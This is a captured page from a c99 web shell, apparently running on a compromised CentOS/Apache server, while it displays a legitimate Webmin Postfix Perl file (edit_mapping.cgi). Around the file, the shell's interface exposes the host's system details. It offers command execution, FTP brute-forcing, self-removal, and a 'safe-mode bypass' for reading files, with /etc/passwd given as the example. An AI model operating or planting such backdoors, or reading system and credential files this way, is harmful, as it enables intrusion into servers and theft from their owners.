!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/postfix/   drwxr-xr-x
Free 50.94 GB of 127.8 GB (39.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     edit_mapping.cgi (2.75 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
#
# postfix-module by Guillaume Cottenceau <gc@mandrakesoft.com>,
# for webmin by Jamie Cameron

# Edit a mapping

require './postfix-lib.pl';
&ReadParse();

&ui_print_header(undef, $text{'edit_map_title'}, "");

my $new_one = 0;
my $num;
## added to split main_parameter:sub_parameter
my ($mainparm,$subparm)=split /:/,$in{'map_name'};

if (!exists($in{'num'}))
{
    $num = &init_new_mapping($in{'map_name'});
    $new_one = 1;
}
else
{
    $num = $in{'num'};
}

my $maps = &get_maps($in{'map_name'});
my %map;

foreach $trans (@{$maps})
{
    if ($trans->{'number'} == $num) { %map = %{$trans}; }
}    

print &ui_form_start("save_map.cgi");
print &ui_hidden("num", $num),"\n";
print &ui_hidden("map_name", $in{'map_name'}),"\n";
print &ui_table_start($text{'edit_map_title'}, "width=100%", 2);

# Show map comment
if (&can_map_comments($in{'map_name'})) {
    print &ui_table_row($text{'mapping_cmt'},
                &ui_textbox("cmt", $map{'cmt'}, 50));
    }

##$nfunc = "edit_name_".$in{'map_name'};
## modified to capture subparameters
$nfunc="edit_name_"; $nfunc.=($subparm)? $subparm : $mainparm;
if (defined(&$nfunc)) {
    print &$nfunc(\%map);
    }
else {
    print &ui_table_row($text{'mapping_name'},
                &ui_textbox("name", $map{'name'}, 40));
    }

##$vfunc = "edit_value_".$in{'map_name'};
## modified to capture subparameters
$vfunc="edit_value_"; $vfunc.=($subparm)? $subparm : $mainparm;
if (defined(&$vfunc)) {
    print &$vfunc(\%map);
    }
else {
    print &ui_table_row($text{'mapping_value'},
                &ui_textbox("value", $map{'value'}, 40));
    }

print &ui_table_end();
print &ui_form_end([ [ "save", $text{'map_save'} ],
         $new_one ? ( ) : ( [ "delete", $text{'delete_map'} ] )
         ]);

if ($in{'map_name'} eq $virtual_maps) {
    &ui_print_footer("virtual.cgi", $text{'virtual_return'});
    }
elsif ($in{'map_name'} eq 'canonical_maps') {
    &ui_print_footer($ENV{'HTTP_REFERER'},
             $text{'canonical_return'});
    }
elsif ($in{'map_name'} eq 'sender_canonical_maps') {
    &ui_print_footer($ENV{'HTTP_REFERER'},
             $text{'canonical_return_sender'});
    }
elsif ($in{'map_name'} eq 'recipient_canonical_maps') {
    &ui_print_footer($ENV{'HTTP_REFERER'},
             $text{'canonical_return_recipient'});
    }
elsif ($in{'map_name'} eq 'transport_maps') {
    &ui_print_footer("transport.cgi", $text{'transport_return'});
    }
elsif ($in{'map_name'} eq 'relocated_maps') {
    &ui_print_footer("relocated.cgi", $text{'relocated_return'});
    }
elsif ($in{'map_name'} eq 'header_checks') {
    &ui_print_footer("header.cgi", $text{'header_return'});
    }
elsif ($in{'map_name'} eq 'body_checks') {
    &ui_print_footer("body.cgi", $text{'body_return'});
    }
elsif ($in{'map_name'} =~ /^smtpd_client_restrictions:/) {
    &ui_print_footer("client.cgi", $text{'client_return'});
    }
else {
    &ui_print_footer("", $text{'index_return'});
    }


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.009 ]--